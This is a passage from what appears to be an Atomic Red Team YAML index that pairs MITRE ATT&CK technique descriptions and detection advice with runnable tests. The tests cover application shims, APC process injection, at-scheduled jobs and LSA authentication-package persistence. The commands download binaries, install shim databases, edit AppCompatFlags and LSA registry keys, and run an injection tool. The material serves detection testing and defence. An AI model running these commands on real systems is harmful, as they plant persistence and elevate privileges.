        Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH),
        and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims
        may allow an adversary to perform several malicious acts such as elevate privileges,
        install backdoors, disable defenses like Windows Defender, etc. (Citation:
        FireEye Application Shimming) Shims can also be abused to establish persistence
        by continuously being invoked by affected programs."
      id: attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-11-10T18:29:31.094Z'
      created: '2020-01-24T14:56:24.231Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):

        * Shim-Process-Scanner - checks memory of every running process for any shim flags
        * Shim-Detector-Lite - detects installation of custom shim databases
        * Shim-Guard - monitors registry for any shim installations
        * ShimScanner - forensic tool to find active shims in memory
        * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)

        Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      - 'File: File Modification'
      x_mitre_platforms:
      - Windows
      identifier: T1546.011
    atomic_tests:
    - name: Application Shim Installation
      auto_generated_guid: 9ab27e22-ee62-4211-962b-d36d9a0e6a18
      description: "Install a shim database. This technique is used for privilege
        escalation and bypassing user access control.\nUpon execution, \"Installation
        of AtomicShim complete.\" will be displayed. To verify the shim behavior,
        run \nthe AtomicTest.exe from the <PathToAtomicsFolder>\\\\T1546.011\\\\bin
        directory. You should see a message box appear\nwith \"Atomic Shim DLL Test!\"
        as defined in the AtomicTest.dll. To better understand what is happening,
        review\nthe source code files is the <PathToAtomicsFolder>\\\\T1546.011\\\\src
        directory.\n"
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: Path to the shim database file
          type: String
          default: PathToAtomicsFolder\T1546.011\bin\AtomicShimx86.sdb
      dependency_executor_name: powershell
      dependencies:
      - description: 'Shim database file must exist on disk at specified location
          (#{file_path})

'
        prereq_command: 'if (Test-Path #{file_path}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory (split-path #{file_path}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb" -OutFile "#{file_path}"
      - description: 'AtomicTest.dll must exist at c:\Tools\AtomicTest.dll

'
        prereq_command: 'if (Test-Path c:\Tools\AtomicTest.dll) {exit 0} else {exit
          1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path c:\Tools\AtomicTest.dll) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll" -OutFile c:\Tools\AtomicTest.dll
      executor:
        command: 'sdbinst.exe #{file_path}

'
        cleanup_command: 'sdbinst.exe -u #{file_path} >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: New shim database files created in the default shim database directory
      auto_generated_guid: aefd6866-d753-431f-a7a4-215ca7e3f13d
      description: |
        Upon execution, check the "C:\Windows\apppatch\Custom\" folder for the new shim database

        https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item $PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb
          Copy-Item $PathToAtomicsFolder\T1546.011\bin\T1546.011CompatDatabase.sdb C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb
        cleanup_command: |
          Remove-Item C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb -ErrorAction Ignore
          Remove-Item C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: Registry key creation and/or modification events for SDB
      auto_generated_guid: 9b6a06f9-ab5e-4e8d-8289-1df4289db02f
      description: |
        Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing
        the registry keys that were created. These keys can also be viewed using the Registry Editor.

        https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
      supported_platforms:
      - windows
      executor:
        command: |
          New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"
          New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"
        cleanup_command: |
          Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore
          Remove-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -ErrorAction Ignore
        name: powershell
        elevation_required: true
  T1055.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.004
        url: https://attack.mitre.org/techniques/T1055/004
      - url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
        description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December
          8, 2017.
        source_name: Microsoft APC
      - url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
        description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’
          Code Injection Technique Discovered. Retrieved May 24, 2018.
        source_name: CyberBit Early Bird Apr 2018
      - url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
        description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE
          INJECTION FOR WINDOWS. Retrieved December 8, 2017.'
        source_name: ENSIL AtomBombing Oct 2016
      - url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
        description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.
        source_name: Microsoft Atom Table
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Asynchronous Procedure Call
      description: "Adversaries may inject malicious code into processes via the asynchronous
        procedure call (APC) queue in order to evade process-based defenses as well
        as possibly elevate privileges. APC injection is a method of executing arbitrary
        code in the address space of a separate live process. \n\nAPC injection is
        commonly performed by attaching malicious code to the APC Queue (Citation:
        Microsoft APC) of a process's thread. Queued APC functions are executed when
        the thread enters an alterable state.(Citation: Microsoft APC) A handle to
        an existing victim process is first created with native Windows API calls
        such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can
        be used to invoke a function (such as <code>LoadLibrayA</code> pointing to
        a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\",
        involves creating a suspended process in which malicious code can be written
        and executed before the process' entry point (and potentially subsequent anti-malware
        hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation:
        ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke
        malicious code previously written to the global atom table.(Citation: Microsoft
        Atom Table)\n\nRunning code in the context of another process may allow access
        to the process's memory, system/network resources, and possibly elevated privileges.
        Execution via APC injection may also evade detection from security products
        since the execution is masked under a legitimate process. "
      id: attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-11-10T18:29:30.961Z'
      created: '2020-01-14T01:29:43.786Z'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can
        be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1055.004
    atomic_tests:
    - name: Process Injection via C#
      auto_generated_guid: 611b39b7-e243-4c81-87a4-7145a90358b1
      description: |
        Process Injection using C#
        reference: https://github.com/pwndizzle/c-sharp-memory-injection
        Excercises Five Techniques
        1. Process injection
        2. ApcInjectionAnyProcess
        3. ApcInjectionNewProcess
        4. IatInjection
        5. ThreadHijack
        Upon successful execution, cmd.exe will execute T1055.exe, which exercises 5 techniques. Output will be via stdout.
      supported_platforms:
      - windows
      input_arguments:
        exe_binary:
          description: Output Binary
          type: Path
          default: PathToAtomicsFolder\T1055.004\bin\T1055.exe
      executor:
        command: "#{exe_binary}\n"
        name: command_prompt
  T1053.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.001
        url: https://attack.mitre.org/techniques/T1053/001
      - source_name: Kifarunix - Task Scheduling in Linux
        url: https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/
        description: Koromicha. (2019, September 7). Scheduling tasks using at command
          in Linux. Retrieved December 3, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: At (Linux)
      description: |-
        Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)

        An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
      id: attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-23T22:35:13.112Z'
      created: '2019-12-03T12:59:36.749Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: true
      x_mitre_detection: "Monitor scheduled task creation using command-line invocation.
        Legitimate scheduled tasks may be created during installation of new software
        or through system administration functions. Look for changes to tasks that
        do not correlate with known software, patch cycles, etc. \n\nSuspicious program
        execution through scheduled tasks may show up as outlier processes that have
        not been seen before when compared against historical data. Data and events
        should not be viewed in isolation, but as part of a chain of behavior that
        could lead to other activities, such as network connections made for Command
        and Control, learning details about the environment through Discovery, and
        Lateral Movement."
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - Linux
      identifier: T1053.001
    atomic_tests:
    - name: At - Schedule a job
      auto_generated_guid: 7266d898-ac82-4ec0-97c7-436075d0d08e
      description: 'This test submits a command to be run in the future by the `at`
        daemon.

'
      supported_platforms:
      - linux
      input_arguments:
        time_spec:
          description: Time specification of when the command should run
          type: String
          default: now + 1 minute
        at_command:
          description: The command to be run
          type: String
          default: echo Hello from Atomic Red Team
      dependency_executor_name: sh
      dependencies:
      - description: 'The `at` and `atd` executables must exist in the PATH

'
        prereq_command: 'which at && which atd

'
        get_prereq_command: 'echo ''Please install `at` and `atd`; they were not found
          in the PATH (Package name: `at`)''

'
      - description: 'The `atd` daemon must be running

'
        prereq_command: 'systemctl status atd || service atd status

'
        get_prereq_command: 'echo ''Please start the `atd` daemon (sysv: `service
          atd start` ; systemd: `systemctl start atd`)''

'
      executor:
        name: sh
        elevation_required: false
        command: 'echo "#{at_command}" | at #{time_spec}

'
  T1053.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.002
        url: https://attack.mitre.org/techniques/T1053/002
      - url: https://twitter.com/leoloobeek/status/939248813465853953
        description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
          December 12, 2017.
        source_name: Twitter Leoloobeek Scheduled Task
      - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
        description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
          settings. Retrieved December 12, 2017.
        source_name: TechNet Forum Scheduled Task Operational Setting
      - url: https://technet.microsoft.com/library/dd315590.aspx
        description: Microsoft. (n.d.). General Task Registration. Retrieved December
          12, 2017.
        source_name: TechNet Scheduled Task Events
      - source_name: Microsoft Scheduled Task Events Win10
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
        description: Microsoft. (2017, May 28). Audit Other Object Access Events.
          Retrieved June 27, 2019.
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: At (Windows)
      description: "Adversaries may abuse the <code>at.exe</code> utility to perform
        task scheduling for initial or recurring execution of malicious code. The
        [at](https://attack.mitre.org/software/S0110) utility exists as an executable
        within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110)
        requires that the Task Scheduler service be running, and the user to be logged
        on as a member of the local Administrators group. \n\nAn adversary may use
        <code>at.exe</code> in Windows environments to execute programs at system
        startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110)
        can also be abused to conduct remote Execution as part of Lateral Movement
        and or to run a process under the context of a specified account (such as
        SYSTEM).\n\nNote: The <code>at.exe</code> command line utility has been deprecated
        in current versions of Windows in favor of <code>schtasks</code>."
      id: attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-24T13:43:40.776Z'
      created: '2019-11-27T13:52:45.853Z'
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.

        Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)

        * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
        * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
        * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
        * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
        * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
        * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)

        Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
      x_mitre_platforms:
      - Windows
      identifier: T1053.002
    atomic_tests:
    - name: At.exe Scheduled task
      auto_generated_guid: 4a6c0dc4-0f2a-4203-9298-a5a9bdc21ed8
      description: |
        Executes cmd.exe
        Note: deprecated in Windows 8+

        Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: false
        command: 'at 13:20 /interactive cmd

'
  T1547.002:
    technique:
      id: attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec
      description: |-
        Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)

        Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=&lt;target binary&gt;</code>. The binary will then be executed by the system when the authentication packages are loaded.
      name: Authentication Package
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547.002
        url: https://attack.mitre.org/techniques/T1547/002
      - url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
          2017.
        source_name: MSDN Authentication Packages
      - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
          Provider DLLs. Retrieved March 1, 2017.
        source_name: Graeber 2014
      - url: https://technet.microsoft.com/en-us/library/dn408187.aspx
        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
          Retrieved June 24, 2015.
        source_name: Microsoft Configure LSA
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-25T15:11:25.821Z'
      created: '2020-01-24T14:54:42.757Z'
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      x_mitre_detection: 'Monitor the Registry for changes to the LSA Registry keys.
        Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012
        R2 may generate events when unsigned DLLs try to load into the LSA by setting
        the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
        File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber
        2014) (Citation: Microsoft Configure LSA)'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1547.002
    atomic_tests:
    - name: Authentication Package
      auto_generated_guid: be2590e8-4ac3-47ac-b4b5-945820f2fbe9
      description: |
        Establishes persistence using a custom authentication package for the Local Security Authority (LSA).
        After a reboot, Notepad.exe will be executed as child process of lsass.exe.
        Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package
        [Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item $PathToAtomicsFolder\T1547.002\bin\package.dll C:\Windows\System32\
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0package.dll" /f
        cleanup_command: |
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0" /f
          rm -force C:\windows\system32\package.dll
        name: powershell
        elevation_required: true
  T1547:
    technique:
      id: attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf
      description: |-
        Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)  These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.

        Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.
      name: Boot or Logon Autostart Execution
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1547
        url: https://attack.mitre.org/techniques/T1547
      - external_id: CAPEC-564
        source_name: capec
        url: https://capec.mitre.org/data/definitions/564.html
      - url: http://msdn.microsoft.com/en-us/library/aa376977
        description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November
          12, 2014.
        source_name: Microsoft Run Key
      - url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
          2017.
        source_name: MSDN Authentication Packages
      - url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
        source_name: Microsoft TimeProvider
      - url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
        source_name: Cylance Reg Persistence Sept 2013
      - source_name: Linux Kernel Programming
        url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf
        description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel
          Module Programming Guide. Retrieved April 6, 2018.
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-24T13:50:12.837Z'
      created: '2020-01-23T17:46:59.535Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_detection: "Monitor for additions or modifications of mechanisms that
        could be used to trigger autostart execution, such as relevant additions to
        the Registry. Look for changes that are not correlated with known updates,
        patches, or other planned administrative activity. Tools such as Sysinternals
        Autoruns may also be used to detect system autostart configuration changes
        that could be attempts at persistence.(Citation: TechNet Autoruns)  Changes
        to some autostart configuration settings may happen under normal conditions
        when legitimate software is installed. \n\nSuspicious program execution as
        autostart programs may show up as outlier processes that have not been seen
        before when compared against historical data.To increase confidence of malicious
        activity, data and events should not be viewed in isolation, but as part of
        a chain of behavior that could lead to other activities, such as network connections
        made for Command and Control, learning details about the environment through
        Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically
        looking for DLLs that are not recognized or not normally loaded into a process.
        Look for abnormal process behavior that may be due to a process loading a
        malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line
        parameters involved in kernel modification or driver installation."
      x_mitre_permissions_required:
      - User
      - Administrator
      - root
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Kernel: Kernel Module Load'
      - 'Driver: Driver Load'
      - 'Process: OS API Execution'
    atomic_tests: []
  T1037:
    technique:
      id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Boot or Logon Initialization Scripts
      description: "Adversaries may use scripts automatically executed at boot or
        logon initialization to establish persistence. Initialization scripts can
        be used to perform administrative functions, which may often execute other
        programs or send information to an internal logging server. These scripts
        can vary based on operating system and whether applied locally or remotely.
        \ \n\nAdversaries may use these scripts to maintain persistence on a single
        system. Depending on the access configuration of the logon scripts, either
        local credentials or an administrator account may be necessary. \n\nAn adversary
        may also be able to escalate their privileges since some boot or logon initialization
        scripts run with higher privileges."
      external_references:
      - source_name: mitre-attack
        external_id: T1037
        url: https://attack.mitre.org/techniques/T1037
      - external_id: CAPEC-564
        source_name: capec
        url: https://capec.mitre.org/data/definitions/564.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-27T19:58:02.332Z'
      created: '2017-05-31T21:30:38.910Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
        or at abnormal times. Look for files added or modified by unusual accounts
        outside of normal administration duties. Monitor running process for actions
        that could be indicative of abnormal programs or executables running upon
        logon.
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Modification'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_version: '2.1'
    atomic_tests: []
  T1548.002:
    technique:
      created: '2020-01-30T14:24:34.977Z'
      modified: '2020-07-22T21:36:52.458Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1548.002
        url: https://attack.mitre.org/techniques/T1548/002
      - url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
        description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved
          June 3, 2016.
        source_name: TechNet How UAC Works
      - url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
        description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows
          7 User Account Control. Retrieved July 26, 2016.'
        source_name: TechNet Inside UAC
      - url: https://msdn.microsoft.com/en-us/library/ms679687.aspx
        description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July
          26, 2016.
        source_name: MSDN COM Elevation
      - url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
        description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November
          12, 2014.
        source_name: Davidson Windows
      - url: https://github.com/hfiref0x/UACME
        description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.
        source_name: Github UACMe
      - url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
        description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe
          and Registry Hijacking. Retrieved December 27, 2016.
        source_name: enigma0x3 Fileless UAC Bypass
      - url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
        description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses
          UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.
        source_name: Fortinet Fareit
      - url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
        description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June
          3, 2016.
        source_name: SANS UAC Bypass
      - url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
        description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved
          May 25, 2017.
        source_name: enigma0x3 sdclt app paths
      - url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
        description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe.
          Retrieved May 25, 2017.
        source_name: enigma0x3 sdclt bypass
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Bypass User Account Control
      description: |-
